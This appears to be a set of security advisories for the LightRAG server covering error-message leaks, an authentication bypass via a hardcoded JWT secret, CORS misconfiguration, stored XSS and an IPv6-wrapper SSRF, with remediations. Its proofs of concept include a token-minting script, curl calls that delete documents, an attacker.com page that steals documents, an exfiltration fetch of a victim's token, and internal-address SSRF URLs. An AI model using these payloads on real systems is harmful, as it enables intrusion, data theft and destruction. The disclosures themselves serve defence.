Server filesystem paths. File-I/O errors from the default JSON storage backend expose the server's directory layout (e.g. [Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'), aiding path-traversal or targeted attacks. (Verified — see PoC Step 1.)
Database host / port / user / database name. Connection errors from the PostgreSQL, MongoDB, Redis, or Neo4j backends surface the target the driver was trying to reach — e.g. asyncpg raises password authentication failed for user "lightrag" (username) or a socket error naming the unreachable host and port. Note on credentials: the PostgreSQL backend uses asyncpg, which is built from keyword parameters and does not echo the password in its exception strings — so a raw asyncpg error leaks host/port/user/db, not the password. URI-configured backends behave differently: the MongoDB backend is built with AsyncMongoClient(MONGO_URI, ...), and a malformed-URI / configuration error from pymongo can surface the connection string itself, which may embed credentials (mongodb://user:password@host:port/). The leak surface is therefore backend- and error-type-dependent.
LLM provider error details. Errors from OpenAI / Gemini / Bedrock and other providers may include model names, organization ids, or partial API error context that reveal the deployment.
Python library internals. Unexpected exceptions expose class names, library-internal messages, and stack fragments that fingerprint the server stack and version.
Configuration details. Errors during configuration/parsing may reveal storage backend types and other configuration values.

The risk is amplified by the default unauthenticated configuration (CWE-306, companion report), which lets any network client trigger and read these errors without credentials.

PoC

Tested on a clean checkout with the [api] extras installed and the server run via lightrag-server.

Step 1 — Filesystem path disclosure (default JSON storage)

With the default storage backend, a file-permission error is returned verbatim:

# Make a storage file unreadable to force an I/O error.
chmod 000 ./rag_storage/default/kv_store_full_docs.json
curl -s http://localhost:9621/documents | python3 -m json.tool

Vulnerable response — the full server-side path is disclosed:

{
    "detail": "[Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'"
}

Step 2 — Database infrastructure disclosure (PostgreSQL backend)

Configure a PostgreSQL KV backend pointed at an unreachable / misconfigured host:

LIGHTRAG_KV_STORAGE=PGKVStorage
POSTGRES_HOST=nonexistent-host-12345.example.com
POSTGRES_PORT=5432
POSTGRES_USER=lightrag
POSTGRES_DATABASE=lightrag

A request that touches storage returns the raw connection error, disclosing the host / port / user the server is configured to reach (the asyncpg password is not echoed — see the credentials note above):

{
    "detail": "[Errno -2] Name or service not known"
}

For a URI-configured backend such as MongoDB (MONGO_URI=mongodb://user:pass@host:port/db), a malformed-URI / configuration error can instead surface the connection string itself, including any embedded credentials.

Impact

Error-message information exposure. A client able to reach the LightRAG server can extract:

Confidentiality (C:L): server filesystem paths, database host/port/user/db, LLM provider configuration hints, and Python stack internals from raw exception messages; for URI-configured backends, potentially the connection string (with embedded credentials).
Escalation risk: leaked hosts/paths aid follow-on attacks; a leaked connection URI could enable direct database access if the database is network-reachable.

When combined with the default unauthenticated configuration, any network client can trigger and read these responses without authentication, which is why this is scored PR:N.

Suggested remediation

Replace every detail=str(e) / detail=str(exc) pattern with a generic client message. Log the full exception server-side (message + traceback) and return only a generic message plus a correlation id:
```
except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {e!r}")
    raise HTTPException(status_code=500, detail="Internal server error")
```

Register a last-resort global handler as defense-in-depth so any exception that escapes a route is sanitized identically:

@app.exception_handler(Exception)
async def unhandled_exception_handler(request, exc):
    logger.error(f"Unhandled exception: {exc!r}", exc_info=True)
    return JSONResponse(status_code=500, content={"detail": "Internal server error"})

Preserve genuine client-input validation feedback. The two HTTP 422 chunking-config validators emit controlled, non-sensitive messages; keep them as 422 feedback rather than genericizing to 500 — but wrap the raw exception so it is never a bare passthrough.

Fix status: implemented in HKUDS/LightRAG#3422 — a shared internal_server_error() helper routes all 500 handlers through a generic body carrying a correlation id (full detail logged server-side), a global @app.exception_handler(Exception) is registered in create_app, and the two 422 validators are wrapped.

Credits

Thai Son Dinh from VinSOC Labs (R&D)
Nguyen Huy Vu Dung from VinSOC Labs (AppSec)

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-61740 PYSEC-2026-3475 GHSA-f4vv-55c2-5789 Jul 23, 2026

LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection

Critical

Network Low None None

Summary

When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.

This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).

Root cause

Three independent issues combine:

lightrag/api/config.py:54 ships a hardcoded default JWT secret:
```
DEFAULT_TOKEN_SECRET="lightr...key!"
```
lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any authentication dependency. In the API-key-only configuration, auth_handler.accounts is empty, and both endpoints unconditionally mint and return a signed guest JWT.
lightrag/api/utils_api.py:214-216 inside combined_dependency short-circuits authorization on any valid guest token when auth_configured is false, before reaching the X-API-Key check on line 237:
```
if not auth_configured and token_info.get("role") == "guest":
    return
```

Proof of concept (offline-minted token, zero server contact)

Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.

$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.

Impact

Any LightRAG instance that is reachable on the network and configured with:

LIGHTRAG_API_KEY set (i.e. the operator believes the server is protected), and
AUTH_ACCOUNTS unset (i.e. they opted out of the password-based login flow)

is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:

Read and delete arbitrary documents (/documents, DELETE /documents)
Upload arbitrary documents and text for ingestion (/documents/upload, /documents/text, /documents/texts, /documents/file_batch, /documents/scan)
Clear LLM / embedding caches (/documents/clear_cache)
Inspect and mutate the knowledge graph (/graph/*)
Run arbitrary queries that will consume paid LLM / embedding credits (/query, /query/stream)

Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.

Suggested CVSS

7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.

Suggested fix

Any one of the following individually closes the primary vector; all three are recommended for defense in depth:

Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever TOKEN_SECRET is unset, regardless of AUTH_ACCOUNTS.
Gate /auth-status and /login when LIGHTRAG_API_KEY is set. Either require Depends(combined_auth) or stop minting guest tokens whenever api_key_configured is true.
Fix the short-circuit in combined_dependency. Do not accept guest tokens as authentication when api_key_configured is true; always require a valid X-API-Key header in that configuration.

Affected versions

main through commit 157c331 (2026-04-15)
Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path

Prior art checked

GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT alg:none. Unrelated.
GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration.
Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.

Discovery

Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-61736 PYSEC-2026-3474 GHSA-6x6h-qqr7-855w Jul 23, 2026

LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests

9.3 / 10

Critical

Network Low None Required Changed High High None

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

Jun 11, 2026

1.5.1 patch

7 CVEs

CVE-2026-86062 PYSEC-2026-4065 GHSA-xpjq-3w4w-w5wr Oct 01, 2026

lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Summary

The LightRAG WebUI renders assistant/answer chat content as raw HTML — react-markdown is configured with rehypePlugins={[rehypeRaw]} and skipHtml={false} and no HTML sanitizer (rehype-sanitize), element allow-list, or custom urlTransform. Because answer content is derived from user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript payload that executes in the browser of any user who later retrieves it (typically an administrator), leading to auth-token theft from localStorage and full API takeover. No authentication is required in the default configuration.

Details

Sink — lightrag_webui/src/components/retrieval/ChatMessage.tsx:

Main answer (MessageMarkdown, lines ~348-351) and thinking content (lines ~252-272) render with rehypePlugins={[rehypeRaw, …]} and skipHtml={false}. The components map (lines ~111-156) only restyles safe formatting tags (p, h1–h4, ul, ol, li, code); there is no rehype-sanitize, no allowedElements/disallowedElements, and no custom urlTransform.
Second sink: mermaid is initialized with securityLevel: 'loose' (line ~433) and the rendered SVG is injected via container.innerHTML = svg (line ~483) + bindFunctions(container). 'loose' disables mermaid's output sanitization, so a ```mermaid block in answer content (HTML label / click directive) is an additional script-execution path.
Hardening (not code execution): KaTeX is set with trust: true (lines ~261/~359). \href{javascript:…} is blocked by React 19, but \includegraphics{URL} renders a live remote <img src> (arbitrary external resource load from the victim's browser). Recommend trust: false.

Source → sink: POST /documents/text or POST /documents/upload stores the document → POST /query returns it (verbatim when only_need_context=true, lightrag/api/routers/query_routes.py:27; otherwise echoed by the LLM) → the response is streamed into assistantMessage.content (lightrag_webui/src/features/RetrievalView.tsx:340) → rendered by the sink above.

react-markdown's built-in defenses do NOT cover this: it sanitizes href/src URLs (so javascript: links are blocked) and React ignores string event handlers (so <img onerror> is dropped), but raw elements such as <iframe srcdoc="…"> and <svg><script> are rendered unchanged and execute.

PoC

Benign, local-only. Tested at commit f3378a3 (v1.5.5) with react@19, react-markdown@10.1.0, rehype-raw@7.0.0.

Fastest check (code review, ~10s): in ChatMessage.tsx, the <ReactMarkdown> that renders answers uses rehypePlugins={[rehypeRaw, …]} with skipHtml={false} and no rehype-sanitize / allow-list. Per react-markdown's own documentation, rehype-raw on untrusted input without rehype-sanitize allows HTML injection — that is the vulnerability.

Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:

mkdir xss-check && cd xss-check
npm init -y
npm install react@19 react-dom@19 react-markdown@10 rehype-raw@7
# save the script below as poc.mjs, then:
node poc.mjs
# open the generated poc.html in any browser (or headless):
#   msedge --headless=new --dump-dom "file:///ABS/PATH/poc.html"

poc.mjs:

import React from 'react';
import { renderToStaticMarkup } from 'react-dom/server';
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import { writeFileSync } from 'fs';

// Stands in for an assistant answer built from an ingested document.
const answer =
  `<iframe srcdoc="<script>` +
  `var h=parent.document.createElement('h1');h.style.color='red';` +
  `h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +
  `parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +
  `<\/script>"></iframe>`;

// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):
const body = renderToStaticMarkup(
  React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)
);
writeFileSync('poc.html', `<!doctype html><title>before-xss</title><body>${body}</body>`);
console.log(body);   // note the LIVE <iframe srcDoc="..."> — not HTML-escaped

Observed (verified in headless Chromium/Edge): the injected srcdoc script runs — the page title becomes XSS-EXECUTED and a red "XSS EXECUTED on this page" heading is appended to the document. This confirms attacker HTML in answer content executes. (Separately: <script>, <svg><script>, and <iframe srcdoc> survive rendering; <img onerror> and javascript: links are neutralized by React / react-markdown, so <iframe srcdoc> is the reliable vector.)

Illustrative end-to-end source path (in a live instance):

curl -X POST http://127.0.0.1:9621/documents/text \
  -H 'Content-Type: application/json' \
  -d '{"text":"<iframe srcdoc=\"&lt;script&gt;document.title=document.domain&lt;/script&gt;\"></iframe>","file_source":"note.md"}'

Then query the knowledge base from the WebUI (or POST /query with only_need_context=true); the stored payload renders and the benign marker script runs in the viewer's browser (the page title becomes the origin). A real attacker replaces the benign marker with fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN')) to exfiltrate the victim's JWT (verified storage key) and impersonate them against the API.

Impact

Stored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any authenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs arbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the auth token in localStorage, the injected script can read it and drive the API as the victim (exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full account/instance takeover.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85740 PYSEC-2026-4064 GHSA-vv3m-f8x4-7377 Oct 01, 2026

lightrag-hku: SSRF via IPv6-transition address bypass (NAT64, IPv4-compatible, 6to4) of the native-markdown image-download guard

7.1 / 10

High

Network High Low None Changed High Low None

Summary

LightRAG's native markdown parser downloads external images referenced by an uploaded markdown or textpack document. The only SSRF guard, _validated_addresses() in lightrag/parser/markdown/parser.py, resolves the image host and rejects it when the resolved IP is not is_global. That check is evaluated on the raw resolved address and never decodes IPv6 transition wrappers that embed an internal IPv4. Python's ipaddress classifies a NAT64 (64:ff9b::/96 and the RFC 8215 64:ff9b:1::/48 prefix), IPv4-compatible (::a.b.c.d), or 6to4 (2002::/16) literal that wraps an internal IPv4 as globally routable, so the guard passes it. On a host with NAT64/DNS64 routing the request is then delivered to the embedded internal target (loopback, RFC1918, or a cloud metadata endpoint), and the fetched body is ingested. The plain and IPv4-mapped (::ffff:) forms of the same internal address are correctly blocked, so this is an encoding that defeats the existing filter.

Affected component and versions

Package: lightrag-hku (LightRAG), the native markdown image-download path.
Component: lightrag/parser/markdown/parser.py, guard _validated_addresses() (the if not (ip.is_global or ...) check), reached from _download() -> _build_guarded_opener().open(req).
Enabled by default: download_enabled = _env_bool("NATIVE_MD_IMAGE_DOWNLOAD_ENABLED", True).
Affected: LightRAG <= 1.5.4 (latest release at time of report, commit 9a45b64).
Precondition: the caller can upload a document (API key via Depends(combined_auth)); the host has NAT64/DNS64 routing for the encoded address to reach the internal endpoint.

Vulnerable code vs the guarded sibling

Evaluated on the exact resolved addresses (CPython ipaddress):

| Form | address | is_global | guard verdict | |---|---|---|---| | plain internal 127.0.0.1 | 127.0.0.1 | False | BLOCK (correct) | | IPv4-mapped | ::ffff:7f00:1 | False | BLOCK (correct) | | NAT64 64:ff9b::/96 | 64:ff9b::7f00:1 | True | PASS (bypass) | | NAT64 RFC8215 64:ff9b:1::/48 | 64:ff9b:1::7f00:1 | True | PASS (bypass) | | IPv4-compatible ::a.b.c.d | ::7f00:1 | True | PASS (bypass) | | 6to4 2002::/16 | 2002:7f00:1:: | True | PASS (bypass) |

The guard already blocks the plain and IPv4-mapped internal forms (the forms the author tested), proving the intent is to reject internal destinations; it never canonicalizes the other transition wrappers, so they pass.

Severity

High. CWE-918 (Server-Side Request Forgery). CVSS 3.1 vector AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N, base score 7.1. AC:H reflects the NAT64/DNS64 network precondition for end-to-end reach; PR:L because document upload requires the API key; S:C because the request pivots into an internal network segment; C:H for internal/metadata/secret disclosure.

Proof of concept (deployed, both directions, verbatim)

Environment: three Docker containers on an IPv6-enabled network - an internal victim (10.66.0.2:80, RFC1918) serving a unique secret, a DNS64/NAT64 gateway owning 64:ff9b::/96 that forwards [64:ff9b::0a42:0002]:80 to 10.66.0.2:80, and an attacker host with a client-side route 64:ff9b::/96 via <gateway>. This models a client on an IPv6-only / NAT64+DNS64 network (AWS/GCP IPv6-only subnets, many mobile and corporate networks). The attacker runs the EXACT released guard code (_validated_addresses, _host_is_public, _build_guarded_opener, the _Guarded*Connection/Handler classes, sliced verbatim from v1.5.4 parser.py, only the logger import shimmed) plus a verbatim reproduction of the released _download() scheme and host precheck. Trigger in production: an uploaded document containing ![x](http://[64:ff9b::<internal-hex>]/a.png).

RUN 1, released v1.5.4 guard (VULNERABLE):

attack URL = http://[64:ff9b::0a42:0002]:80/logo.png
===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : PASSED (fetched)
SECRET LEAKED : True
body          : SSRF-LIGHTRAG-INTERNAL-METADATA-9f3a2b7c
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = True
plain_internal_blocked        = True
public_still_fetched          = True

RUN 2, one-line-class decode fix applied (same inputs, same network):

===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : BLOCKED at guard: non-public host blocked
SECRET LEAKED : False
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = False
plain_internal_blocked        = True
public_still_fetched          = True

Fix-correctness matrix (isolated): genuine global IPv6 2606:4700:4700::1111 and 2001:4860:4860::8888 -> ALLOW (no false positive); NAT64/RFC8215/IPv4-compat/6to4 wrappers of an internal IPv4 -> BLOCK; NAT64 of a public IPv4 (64:ff9b::808:808 = 8.8.8.8) -> ALLOW.

Impact

A caller who can upload a markdown or textpack document (textpack uploads route to the native engine with zero config; markdown reaches it when the native engine is selected) can make the LightRAG server issue HTTP requests to internal-only addresses that the SSRF guard is meant to forbid, and the fetched body is ingested. On a deployment with NAT64/DNS64 routing this reaches cloud instance metadata (169.254.169.254, 100.100.100.200), loopback services, and RFC1918 internal hosts, exposing IAM credentials and internal service data.

Suggested fix

Decode the embedded IPv4 of any IPv6 transition wrapper and classify by the embedded IPv4 before the is_global check:

def _unwrap_embedded_ipv4(ip):
    """Return the IPv4 embedded in an IPv6 transition wrapper (IPv4-mapped,
    IPv4-compatible, NAT64 64:ff9b::/96 and RFC8215 64:ff9b:1::/48, 6to4
    2002::/16) so it is classified by IPv4 rules; else return ip unchanged."""
    if ip.version != 6:
        return ip
    if ip.ipv4_mapped is not None:
        return ip.ipv4_mapped
    if getattr(ip, "sixtofour", None) is not None:
        return ip.sixtofour
    b = ip.packed
    if b[:12] == b"\x00" * 12 and b[12:] not in (b"\x00\x00\x00\x00", b"\x00\x00\x00\x01"):
        return ip_address(b[12:])
    if b[:12] == b"\x00\x64\xff\x9b" + b"\x00" * 8:
        return ip_address(b[12:])
    if b[:6] == b"\x00\x64\xff\x9b\x00\x01":
        return ip_address(b[12:])
    return ip

Then in _validated_addresses:

judged = _unwrap_embedded_ipv4(ip)
if not (judged.is_global or any(ip in net for net in allow)):
    return []

Verified: this blocks the NAT64/IPv4-compat/6to4 internal forms while genuine public IPs and public NAT64-wrapped IPs still pass.

Resolution

Addressed by #3426 (pending merge), targeted for release in lightrag-hku 1.5.5. _validated_addresses() now decides global-routability by starting from the stdlib's is_global on the literal and only ever tightening it — the guard is never more permissive than ipaddress itself:

Fixed-position transition wrappers are decoded and the embedded IPv4 must also be global (IPv4-mapped ::ffff:0:0/96, IPv4-compatible ::/96, and the NAT64 well-known prefix 64:ff9b::/96 — RFC 6052 §2.2, contiguous low-32 embedding). So 64:ff9b::7f00:1 (→ loopback) is blocked while 64:ff9b::808:808 (→ public 8.8.8.8) still passes.
Blocks whose embedded-IPv4 position must not be trusted are default-denied as whole blocks, independent of the interpreter: the RFC 8215 local-use prefix 64:ff9b:1::/48 (technology-agnostic, embedded-IPv4 position not guaranteed per RFC 8215 §5 — a fixed-offset decode is itself bypassable, e.g. 64:ff9b:1:7f00:0:100:808:808 encodes 127.0.0.1 but its low 32 bits read as public 8.8.8.8) and 6to4 2002::/16 (IANA global-reachability N/A; current CPython classifies the whole block non-global — RFC 7526 deprecated only the 6to4 anycast relay path, not the 2002::/16 prefix itself). Decoding 6to4 by its embedded IPv4 would have re-permitted 2002::/16 addresses the stdlib already blocks, so it is denied outright instead.

Genuine global IPv6 and a NAT64 wrapper of a public IPv4 still pass; regression tests cover every wrapped form of loopback / RFC1918 / metadata, the RFC 6052 /48 suffix bypass, and 6to4 of a public IPv4. Boundary: a NAT64 deployment using a custom, globally-routable Network-Specific Prefix (RFC 6052 permits any /32../96), or a genuine local NAT64 / legacy 6to4 in the force-denied blocks, is not auto-permitted — such operators should pin the download egress or set NATIVE_MD_IMAGE_ALLOWED_NON_PUBLIC_CIDRS deliberately.

Credit

tonghuaroot (tonghuaroot@gmail.com).

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


